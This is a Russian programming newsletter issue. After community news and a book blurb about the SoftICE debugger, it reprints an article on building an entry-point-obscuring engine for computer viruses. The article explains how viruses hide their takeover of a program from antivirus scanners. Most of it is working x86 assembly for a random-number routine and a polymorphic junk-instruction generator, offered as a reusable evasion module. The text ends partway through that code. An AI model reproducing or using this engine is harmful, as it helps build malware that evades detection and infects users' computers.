Воробьёвы

(-:

№43. Почти "Матрица": EPO мотор и Alpha-blitting

Октябрь уж наступил….

А.С. Пушкин

# Пролог

Здравствуйте дорогие читатели рассылки.

Видимо этот выпуск будет первым, в котором мы обойдёмся без юморных фенечек. Хотя не совсем. Сегодня я приговорил уйму хороших новостей для вас. И просто уверен, что они поднимут ваше настроение и Дух.

Продолжаю цитировать Александра Сергеевича (который Саня, но не программист), хотя по душе ближе Лермонтов. А вообще-то сейчас я где-то мыслями в Киеве на сцене романа Булгакова «Белая Гвардия» у истоков 20 века. Там сейчас зима, руки мёрзнут над клавиатурой, говоря о том, что на улице отопительный сезон, а у нас ещё не затопили. Писать статьи стало неуютно. Лето красное прошло.

Совсем недавно HI-TECH познакомился ещё с одним Александром (нет, не Пушкин, но Программист :)), в лице которого для нас предстал журнал argc&argv. Было очень приятно, что в СНГ есть ещё один журнал для программистов. Сейчас таких журналов всего два: RSDN и argc&argv. Ещё приятнее для меня, как для жителя Украины было то, что это Киевский журнал, с замечательным уровнем (я уже успел посмотреть четыре номера, и оказался приятно удивлён). Если вы – житель Украины, то без проблем сможете подписаться на него в любом отделении почты. Для России – процесс сложнее, но, видимо, так же возможен.

Сам факт, что такой журнал всё-таки существует – уже чудо. Было бы странно, если бы HI-TECH, а так же WASM не выступили с инициативой поддержать его. Ибо в нашей действительности (я имею ввиду не только Украину) иметь журнал (издательство, либо иную подобную организацию) невероятно сложно, а особенно в Украине, где к печатной продукции налоговые органы относятся мягко сказать с пристрастием.

И сегодня у меня две радостные новости: «В Украине есть хороший журнал для профессиональных программистов», и вторая новость: «Часть статей для WASM.RU будут предварительно печататься в этом издании». Более подробнее о argc&argv я расскажу в следующем номере рассылки. А сегодня вы прочитаете две статьи из этого журнала, которые опубликованы в 4 номере за июль-август.

Новости действительно хорошие, но не последние.

Совсем недавно в HI-TECH завелись МЫЩЪЫ c Хвостом. Это пернатое создание известно нашему программисту как Крис Касперски. Хотя Крис давно уже знаком с предводителем HI-TECH Serrgio, он оказался в наших рядах не так давно. Хаос WASM взмылся ввысь!!! Такого оживления я не припоминаю с прошлого года. И у меня есть ещё одна радостная новость: «WASM.RU готовит множество статей и книг Криса (МЫЩА) для публикации на сайте».

Ещё одна радостная по истине новость, и для меня вдвойне, ибо я давно хотел получить правильную информацию о кеше процессора (ох как этот вопрос мучил на форуме WASM.RU): Недавно Крис выпустил книгу по «Оптимизации». В следующей рассылке я обещаю разместить несколько глав из этого труда, которые предоставил Крис. Но можете поверить Edmondу и TheSvin, что книга просто отличная – считайте это рекламой!!!

Вы видимо думаете, что хорошие новости на этом закончились? Никак нет!!! Просто замечательная новость для тех, кто проводит свои будни за любимым отладчиком SoftIce. Теперь в каждом топике WASM.FORUM об этом отладчике следует поствить автоответчик с фразой: «Читай Книгу BrokenSword, которая УЖЕ вышла шестым томом в серии кодокопатель». Ниже наш дорогой автор даёт сжатое описание своей книге.

И ещё одна просто СУПЕР новость. Володя закончил работу над замечательной статьёй про упаковщики. Её вторая часть (гигантская) появится на следующей неделе в нашей рассылке.

Broken Sword

Аннотация к книге

Первая книга по знаменитому программному продукту — популярнейшему отладчику SoftICE. Книга представляет собой подробный справочник по командам, интерфейсу и архитектуре отладчика SoftICE.

В книге представлены приемы эффективного использования SoftICE для исследования и отладки кода любой сложности, примеры использования команд. Книга затрагивает вопросы внутреннего устройства ОС Windows NT (в среде которой SoftICE максимально раскрывает свои способности и без понимания которых полноценная работа с отладчиком невозможна), а также рассмотривает все команды отладчика, позволяющие получить низкоуровневую информацию об этой ОС.

Ориентирована на системных программистов средней и высокой валификации, с базовыми знаниями языка ассемблера микропроцессоров серии Intel 80x86 и работающих с операционными системами фирмы Microsoft, разработчиков низкоуровневых приложений и драйверов, а также просто любителей покопаться в чужом коде.

Slon
статья опубликована в argc&argv #4 2003 год

Построение простого EPO мотора

В данной статье мы рассмотрим моделирование простого EPO мотора. На данную тему уже было написано несколько статей, но они в большей степени теоретические. В этом тексте будет рассмотрено, как теоритическое моделирование так и пример применения этой теории. В качестве примера будет разобран мой ЕPO мотор - SPOT.

Начнём мы прежде всего с определения EPO - Entry Point Obscuring. В переводе это означает - скрытие точки входа. В основном данное понятие применяется к компьютерным вирусам, которые не меняют в заголовке исполнимого файла точку входа. Точка входа это адрес с которого начинается выполнение программы при её запуске. Впервые данная техника была применена ещё в ДОС вирусах. В аспекте Windows систем данная техника была применена впервые в вирусе Cabanas. В чём же заключалась данная техника давайте рассмотрим на схеме.

            |------------------------------------------|
            |             Заголовок программы          |
            |  (в нём указан адрес запуска программы)  |
            |------------------------------------------|
            |                   .....                  |
            |         Здесь идут различные секции      |
            |                   .....                  |
            |------------------------|-----------------|
    |-------| Переход на тело вируса |                 |
    |       |------------------------|                 |
    |       |               Кодовая секция             |
    |       |------------------------------------------|
    |       |                   .....                  |
    |       |         Здесь идут различные секции      |
    |       |                   .....                  |
    |       |------------------------------------------|
    |------>|                   .....                  |
            |          ВИРУС                      |
            |                   .....                  |
            |------------------------------------------|
      

До вируса Cabanas в Windows системах такая техника не применялась. Обычно вирус изменял в заголовке точку входа редактировал виртуальный размер и дописывал своё тело в конец файла (обычно вирус создавал новую секцию). Потому как все вирусы меняли точку входа, то антивирусные программы просто проверяли куда указывает точка входа и потом уже легко или сложно детектировали вирус.

В вирусе Cabanas первые 5 байт кодовой секции вначале сохраняются в теле вируса, а потом перезаписываются jmp'ом на начало вируса. Таким образом не нужно менять точку входа, потому что вирус получит управление после первой инструкции перехода.

После этого пошла волна вариаций на ту же тему. Инструкции передающие управление вирусу усложнялись, видоизменялись. Иногда туда встраивали даже декрипторы, которые расшифровывали закриптованное вирусное тело и передавали на него управление. Но антивирусные программы то же стали проверять куда передают управление первые инструкции кодовой секции. Так же постоянно обновляются маски этих инструкций передающих управление на вирусное тело.

Для того чтобы усложнить анализ и детектирование данных инструкций мной был разработан мотор (модуль), который легко применять. Начнём мы посторение нашего мотора с того, что определимся чего нам необходимо достичь:

1) Чтобы наши инструкции не обнаруживались по маске (мутация)

2) Чтобы наши инструкции не сразу передавали управление вирусу или защите от взлома программы (маскировка)

3) Чтобы управление в конце концов получил наш код

Теперь попытаемся определится, как наш мотор должен работать:

1) В начало кода встраивается первая партия инструкций, но каждый раз она будет разная. Это будет реализовано за счёт разбавление одной значащей инструкции сложным разнообразным мусором.

2) Первое пятно будет передавать управление второму и так далее, пока последнее пятно не передаст управление инжектированному коду.

Рассмотрим на примере устройство i-ого пятна:

    ;------------------------------------------------------------------------------;
      ...................
      mov eax,7385673
      add ebx,9874
      cmp ecx,edx
      mov edx,7234
      je $+2
      jmp to_i_plus1_spot
      add eax,456678
      ................... 
    ;------------------------------------------------------------------------------;

Каждое из пятен сильно мутирующее, то есть по маске его детектировать не возможно. Количество пятен случайно и расстояние между пятнами то же случайно.

Все байты которые перетираются пятнами, сохраняются в теле вируса.

Для работы мотора необходимы следующие модули:

1) Генератор случайных чисел (r_gen32.asm)

2) Генератор исполнимого мусора (t_gen32.asm)

Разберём пример генератора случайных чисел:

    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                       [RANDOM IN RANGE GENERATOR V. 0.2]                     ;
    ;                                                                              ;
    ;    ############              #############   #############   ######    ###   ;
    ;    #############            ##############  ##############  ########   ###   ;
    ;    ##        ###            ###             ###             ###  ###   ###   ;
    ;    #############            ###  ########   ##############  ###  ###   ###   ;
    ;    #############            ###  #########  ##############  ###  ###   ###   ;
    ;    ##        ###            ###        ###  ###             ###  ###   ###   ;
    ;    ##        ###            ##############  ##############  ###  #########   ;
    ;    ##        ###  #########  ############    #############  ###   #######    ;
    ;                   #########                                                  ;
    ;                                                                              ;
    ;                               FOR MS WINDOWS                                 ;
    ;                                                                              ;
    ;                                   BY SL0N                                    ;
    ;------------------------------------------------------------------------------;
    ;                                   MANUAL:                                    ;
    ;                                                                              ;
    ; RANGE OF RANDOM NUMBER -> EAX                                   ;
    ; CALL  BRANDOM32                               ;
    ;                ;
    ; RANDOM NUMBER IN RANGE -> EAX                                   ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    brandom32:                                         
      call delta2
    delta2:  pop ebp
      sub ebp,offset delta2
             ; Эта подпрограмма 
             ; возвращает случайное число
             ; в диапазоне 0..eax-1

      push edx ecx                    ; Сохраняем в стэке edx, ecx
      xor edx,edx                    ; Обнуляем edx
      imul eax,eax,100                ; Умножаем eax на 100
      push eax                        ; и сохраняем eax в стэке
      call random32                   ; Вызываем подпрограмму
             ; генерации случайного числа
      pop ecx                        ; Восстанавливаем значение
             ; из стэка в ecx
      div ecx                        ; Делим eax на ecx
      xchg eax,edx                    ; Помещаем остаток в eax
      xor edx,edx                    ; Обнуляем edx
      mov ecx,100                    ; Помещаем в ecx - 100
      div ecx                        ; Делим eax на ecx
      pop ecx edx                    ; Восстанавливаем ecx, edx
      ret                                ; Возврат из подпрограммы
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;   RANDOM NUMBER GENERATOR SUBROUTINE         ;
    ;------------------------------------------------------------------------------;
    ;              [ IN ]           ;
    ;                                                                              ;
    ;                 NO INPUT IN SUBROTINE                             ;
    ;------------------------------------------------------------------------------;
    ;              [ OUT ]           ;
    ;                ;
    ;                     RANDOM NUMBER -> EAX                              ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    random32:                                          
             ; Генератор случайных чисел

      push edx ecx                    ; Сохраняем в стэке edx, ecx
      db 0fh,031h                   ; Инструкция rdtsc
      rcl eax,2                      ; Далее идут различные
      add eax,12345678h              ; математические
      random_seed = dword ptr $-4        ; преобразования
      adc eax,esp                    ; для получения, как
      xor eax,ecx                    ; можно более не зависимого
      xor [ebp+random_seed], eax     ; числа
      add eax,[esp-8]                ;
      rcl eax,1                      ;
      pop ecx edx                    ; Восстанавливаем ecx, edx
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
      

Ничего сложного в этом модуле, как вы можете видеть нет.

Теперь перейдём к разаработке генератора мусора. Потому как без него с таким декриптором очень сложно достигнуть настоящего полиморфизма.

Исполнимый код должен быть как можно более разнообразным. В идеале получившийся декриптор с мусором должен походить на обыкновенную программу с условными переходами и множеством функций.

Рассмотрим генератора мусора на примере:

    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    ;                             [TRASH GENERATOR V. 0.2]                         ;
    ;                                                                              ;
    ; #############       #############   #############   ######    ####     ;
    ; #############      ##############  ##############  ########   ####     ;
    ;     ###            ###             ###             ###  ###   ####     ;
    ;     ###            ###  ########   ##############  ###  ###   ####     ;
    ;     ###            ###  #########  ##############  ###  ###   ###      ;
    ;     ###            ###        ###  ###             ###  ###   ###      ;
    ;     ###            ##############  ##############  ###  #########      ;
    ;     ###  #########  ############    #############  ###   #######       ;
    ;          #########                                                     ;
    ;                                                                              ;
    ;                                                                              ;
    ;                                  FOR MS WINDOWS                              ;
    ;                                                                              ;
    ;                                      BY SL0N                                 ;
    ;------------------------------------------------------------------------------;
    ;                                      MANUAL:                                 ;
    ;                                                                              ;
    ; LENGTH OF GARBAGE   -> ECX                                    ;
    ; BUFFER FOR GARBAGE  -> EDI                                     ;
    ; USELESS REGISTER N1 -> BH (0..7)                                ;
    ; USELESS REGISTER N2 -> BL (0..7)                               ;
    ;                 ;
    ; CALL GARBAGE                                                                ;
    ;------------------------------------------------------------------------------;
    ;                           IT GENERATES INSTRUCTIONS:                         ;
    ;                                                                              ;
    ; MOV, MOVSX/ZX, XCHG, LEA, ADD/ADC/AND/OR/SUB/SBB/XOR/CMP                     ;
    ; INC/DEC, NOT/NEG, TEST, IMUL, ROL/ROR/RCL/RCR/SHL/SHR                        ;
    ; SHLD/SHRD, XADD, BSR/BSF, BT/BTC/BTR/BTS, JMP,REPZ/NZ                        ;
    ; PUSH/POP, X87, JX/JNX, STX, CLX, NOP, CALL                                   ;
    ;                                                                              ;
    ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    garbage:                                           ; Подпрограмма генерации
             ; мусорных инструкций
      push edx                        ; Сохраняем в стэке
      push ecx                        ; edx, ecx, ebx, ebp, esi
      push esi                        ; 
      push ebp                        ;
      push ebx                        ;

      call delta_offset1              ; 
    delta_offset1: pop ebp                        ; Получаем дельта смещение
      sub ebp,offset delta_offset1   ;
    delta_offset:
      mov eax,19                     ; Выбираем случайным образом
      call brandom32                  ; вариант генерации мусорных
             ; инструкций
      shl eax,1                      ; Умножаем eax на 2
      lea esi,[ebp+mega_table]       ; В esi смещение на таблицу
             ; относительных смещений
      add esi,eax                    ; к esi добавляем eax
      xor eax,eax                    ; Обнуляем eax
      lodsw                              ; В ax загружаем 
             ; относительное смещение от
             ; метки delta_offset
      lea esi,[ebp+delta_offset]     ; В esi кладём смещение 
             ; метки delta_offset
      add eax,esi                    ; Добавляем смещение 
             ; подпрограммы
      call eax                        ; Вызываем её
      jmp delta_offset               ; Переход на delta_offset
    ;------------------------------------------------------------------------------;
    instr_je:
      cmp cl,2                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 2, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov eax,10                     ; Выбираем случайным образом
      call brandom32                  ; число от 0..9
                                         ;
      add al,70h                     ; Добавляем 70h
      stosb                              ; и кладём его в буфер
      xor al,al                      ; Помещаем в al - 0 
      stosb                              ; и кладём его в буфер
                                         ;
             ; В итоге у нас получается
             ; случайно выбранный,
             ; условный, вырожденный
             ; переход:
             ; ...................
             ; je              $+2
             ; jae      $+2
             ; ...................
      sub ecx,2                      ; Уменьшаем счётчик на 2
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_not:
      cmp cl,2                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 2, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov al,0f7h                    ; Помещаем в al - 0f7h
      stosb                              ; и кладём его в буфер
      mov dl,0d0h                    ; Помещаем в dl - 0dh 
      mov eax,2                      ; Генерируем случайное число
      call brandom32                  ; в диапазоне 0..2
      shl eax,3                      ; Умножаем на 8
      add dl,al                      ; Добавляем к dl - al
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      add al,dl             ; Добавляем к al - dl
      stosb                              ; и кладём его в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкция NOT/NEG:
             ; ...................
             ; not             eax
             ; neg      edx
             ; ...................
      sub ecx,2                      ; Уменьшаем счётчик на 2
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_je2:
      cmp cl,6                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 6, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov al,0fh                     ; Помещаем в al - 0fh
      stosb                              ; и кладём его в буфер
      mov eax,10                     ; Выбираем случайным образом
      call brandom32                  ; число от 0..9
                                         ;
      add al,80h                     ; Добавляем 80h
      stosb                              ; и кладём его в буфер
      xor eax,eax                    ; Помещаем в eax - 0 
      stosd                              ; и кладём его в буфер
                                         ;
             ; В итоге у нас получается
             ; случайно выбранный,
             ; условный, вырожденный
             ; переход:
             ; ...................
             ; je              $+5
             ; jae             $+5
             ; ...................
      sub ecx,6                      ; Уменьшаем счётчик на 6
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_x87:
      cmp cl,2                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 2, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov al,0dch                    ; Кладём в al - 0dch
      stosb                              ; И помещаем al в буфер
      mov eax,02fh                   ; Генерируем случайное число
      call brandom32                  ; в интервале 0..2eh
      add al,0c0h                    ; Добавляем к числу 0c0h
      stosb                              ; и помещаем сумму в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкция сопроцессора:
             ; ...................
             ; fadd       st(0),st
             ; fmul       st(7),st
             ; ...................
      sub ecx,2                      ; Уменьшаем счётчик на 2
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_cmp:
      cmp cl,2                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 2, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov dl,3ah                     ; Помещаем в dl - 03ah
      mov eax,3                      ; Получаем случайное число
      call brandom32                  ; в диапазоне 0..2
      add al,dl                      ; Добавляем к al - dl
      stosb                              ; Затем помещаем al в буфер
      call rnd_reg                    ; Получаем случайный регистр
      shl eax,3                      ; Умножаем eax на 8
      add al,0c0h                    ; Добавляем к al - 0c0h
      mov dl,al                      ; помещаем в cl - al
      call rnd_reg                    ; Получаем случайный регистр
      add al,dl                      ; Добавляем к al - cl
      stosb                              ; И помещаем al в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкция CMP:
             ; ...................
             ; cmp         eax,esp
             ; cmp          al,0c0
             ; ...................
      sub ecx,2                      ; Уменьшаем счётчик на 2
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_xor:
      cmp cl,2                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 2, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov al,33h                     ; Помещаем в al - 33h
      stosb                              ; И затем кладём это в буфер
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      shl eax,3                      ; Умножаем eax на 8
      add al,0c0h                    ; Добавляем к al - 0c0h
      mov dl,al                      ; помещаем в cl - al
      call rnd_reg                    ; Получаем случайный регистр
      add al,dl                      ; Добавляем к al - cl
      stosb                              ; И помещаем al в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкция XOR:
             ; ...................
             ; xor         eax,esp
             ; xor         edi,ecx
             ; ...................
      sub ecx,2                      ; Уменьшаем счётчик на 2
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_test:
      cmp cl,2                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 2, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov dl,084h                    ; Помещаем в dl - 084h
      mov eax,2                      ; Получаем случайное число
      call brandom32                  ; в диапазоне 0..1
      add al,dl                      ; Добавляем к al - dl
      stosb                              ; И затем кладём это в буфер
      call rnd_reg                    ; Вызываем подпрограмму 
                                         ; получения случайного 
             ; регистра
      add al,0c0h                    ; Добавляем к al - 0c0h
      mov dl,al                      ; помещаем в cl - al
      call rnd_reg                    ; Получаем случайный регистр
      add al,dl                      ; Добавляем к al - cl
      stosb                              ; И помещаем al в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкция XOR:
             ; ...................
             ; test        eax,esp
             ; test          al,cl
             ; ...................
      sub ecx,2                      ; Уменьшаем счётчик на 2
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_movr:
      cmp cl,2                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 2, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov al,8bh      ; Помещаем в al - 8bh
      stosb                              ; Потом помещаем al в буфер
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      shl eax,3                      ; Умножаем eax на 8
      add al,0c0h                    ; Добавляем к al - 0c0h
      mov dl,al                      ; помещаем в cl - al
      call rnd_reg                    ; Получаем случайный регистр
      add al,dl                      ; Добавляем к al - cl
      stosb                              ; И помещаем al в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкция MOV:
             ; ...................
             ; mov         eax,esp
             ; mov         edi,ecx
             ; ...................
      sub ecx,2                      ; Уменьшаем счётчик на 2
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_push:
      cmp cl,2                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 2, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      call rnd_reg                    ; Получаем случайный регистр
      add al,50h                     ; Добавляем к al - 50h
      stosb                              ; Кладём al в буфер
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      add al,58h                     ; Добавляем к al - 8
      stosb                              ; И опять кладём al в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкции PUSH/POP:
             ; ...................
             ; push            eax
             ; pop             ecx
             ; ...................
      sub ecx,2                      ; Уменьшаем счётчик на 2
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_movc:
      cmp cl,5                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 5, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      add al,0b8h                    ; Добавляем к al - 0b8h
      stosb                              ; И кладём al в буфер
      call random32                   ; Генерируем случайное
      stosd                              ; число
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкции MOV:
             ; ...................
             ; mov    eax,12345678
             ; mov    ebp,00056800
             ; ...................
      sub ecx,5                      ; Уменьшаем счётчик на 5
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_jmp:
      cmp cl,5                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 5, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov al,0e9h                    ; Кладём в al - 0b8h
      stosb                              ; И кладём al в буфер
      xor eax,eax      ; Обнуляем eax 
      stosd                              ; И кладём его в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкции JMP:
             ; ...................
             ; jmp             $+5
             ; ...................
      sub ecx,5                      ; Уменьшаем счётчик на 5
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_l32:
      cmp cl,6                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 6, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov al,81h                     ; Кладём в al - 81h
      stosb                              ; И помещаем al в буфер
      mov eax,4                      ; Получаем случайное число
      call brandom32                  ; в диапазоне от 0..9
      add al,0ch                     ; Добавляем к нему - 0ch
      mov dl,10h                     ; Кладём в dl - 10h
      mul dl                         ; Умножаем на dl
      mov dl,al                      ; Кладём в dl - al
      mov eax,2                      ; Получаем случайное число
      call brandom32                  ; в диапазоне от 0..1
      shl al,3                       ; Умножаем al на 8
      add dl,al                      ; Добавляем к dl - al
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      add al,dl                      ; Добавляем к al - dl
      stosb                              ; И кладём al в буфер
      call random32                   ; Генерируем случайное
      stosd                              ; число и кладём его в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкции ADD:
             ; ...................
             ; add    eax,12345678
             ; or     ebp,00056800
             ; ...................
      sub ecx,6                      ; Уменьшаем счётчик на 5
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_lea:
      cmp cl,6                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 6, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov al,8dh                     ; Кладём в al - 8dh
      stosb                              ; И помещаем al в буфер
      mov dl,08h                     ; Кладём в dl - 08h
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      mul dl                         ; Добавляем к al - dl
      add al,5      ; Добавляем к al - 5
      stosb                              ; И кладём al в буфер
      call random32                   ; Генерируем случайное
      stosd                              ; число
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкции LEA:
             ; ...................
             ; lea  eax,[12345678]
             ; lea  ebp,[00056800]
             ; ...................
      sub ecx,6                      ; Уменьшаем счётчик на 6
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_cl:
      cmp cl,6                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 6, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov al,0e8h                    ; Кладём в al - e8h
      stosb                              ; И помещаем al в буфер
      xor eax,eax                    ; Обнуляем eax и помещаем
      stosd                              ; его в буфер
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      add al,58h                     ; Добавляем к al - 8
      stosb                              ; И опять кладём al в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкции CALL:
             ; ...................
             ; call            $+5
             ; pop             eax
             ; ...................
      sub ecx,6                      ; Уменьшаем счётчик на 6
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_shl:
      cmp cl,3                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 3, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov al,0c1h                    ; Кладём в al - 0c1h
      stosb                              ; И помещаем al в буфер
      mov eax,6                      ; Генерируем случайное число
      call brandom32                  ; в диапазоне 0..5
      shl eax,3                      ; Умножаем его на 8
      add al,0c0h                    ; Добавляем к нему - 0c0h
      mov dl,al                      ; Помещаем в dl - al
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      add al,dl                      ; Добавляем к al - dl
      stosb                              ; И помещаем al в буфер
      mov eax,256                    ; Генерируем случайное число
      call brandom32                  ; в диапазоне 0..255
      stosb                     ; И кладём его в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкции SHL,ROL, ...:
             ; ...................
             ; ror          eax,78
             ; shl          ebp,04
             ; ...................
      sub ecx,3                      ; Уменьшаем счётчик на 2
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_a32:
      cmp cl,3                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 3, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov al,0fh                     ; Кладём в al - 0fh
      stosb                              ; И помещаем al в буфер
      lea esi,[ebp+three_byte_opcode]; Кладём в esi указатель на
             ; таблицу частей 3-х байтных
             ; инструкций
      mov eax,14                     ; Генерируем случайное число
      call brandom32                  ; в диапазоне 0..13
      add esi,eax                    ; Прибавляем к esi - eax 
      movsb                              ; Перемещаем байт в буфер
      mov dl,0c0h                    ; Кладём в dl - 0с0h
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      shl eax,3      ; Умножаем eax на 8
      add dl,al                      ; Добавляем к dl - al
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      add al,dl                      ; Добавляем к al - dl
      stosb                              ; И помещаем al в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкции XADD,IMUL, ...:
             ; ...................
             ; xadd        eax,eax
             ; imul        ebp,ecx
             ; ...................
      sub ecx,3                      ; Уменьшаем счётчик на 3
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_xchg:
      cmp cl,2                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 2, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov al,087h                    ; Кладём в al - 087h
      stosb                              ; И помещаем al в буфер
      mov dl,0c0h                    ; Кладём в dl - 0с0h
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      shl eax,3      ; Умножаем eax на 8
      add dl,al                      ; Добавляем к dl - al
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      add al,dl                      ; Добавляем к al - dl
      stosb                              ; И помещаем al в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкции XCHG:
             ; ...................
             ; xchg        eax,eax
             ; xchg        ebp,ecx
             ; ...................
      sub ecx,2                      ; Уменьшаем счётчик на 2
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    instr_a16:
      cmp cl,4                       ; Если длина генерируемой
      jl one_byte                   ; инструкции меньше 4, то
                                         ; мы переходим на генерацию
             ; однобайтовых инструкций
      mov al,066h                    ; Кладём в al - 066h
      stosb                              ; И помещаем al в буфер
      mov dl,0b8h                    ; Помещаем в dl - 0b8h
      call free_reg                   ; Вызываем подпрограмму 
                                         ; получения свободных 
             ; регистров
      add al,dl                      ; Добавляем к al - dl
      stosb                              ; И помещаем al в буфер
      mov eax,0ffffh                 ; Генерируем случайное число
      call brandom32                  ; в диапазоне 0..65534
      stosw                              ; И помещаем его в буфер
             ; В итоге у нас получается
             ; случайно выбранная
             ; инструкции MOV:
             ; ...................
             ; mov         ax,3452
             ; mov         bp,1234
             ; ...................
      sub ecx,4                      ; Уменьшаем счётчик на 4
      ret                                ; Возврат из подпрограммы
    ;------------------------------------------------------------------------------;
    one_byte:
      mov eax,3                      ; Генерируем случайное число
      call brandom32                  ; в диапазоне 0..2
                                         
      cmp al,1                       ; Если число = 1, то 
      je instr_inc                  ; генерируем инструкцию INC

      cmp al,2                       ; Если число = 2, то
      je instr_dec                  ; генерируем инструкцию DEC

      lea esi,[ebp+one_byte_opcode]  ; Кладём в esi указатель на
             ; таблицу однобайтных
             ; инструкций
      mov eax,8                      ; Генерируем случайное число
      call brandom32                  ; в диапазоне 0..7
      add esi,eax                    ; Прибавляем к esi - eax 
      test ecx,ecx                    ; Если длина инструкции = 0,
      jz landing                    ; тогда переходим на конец
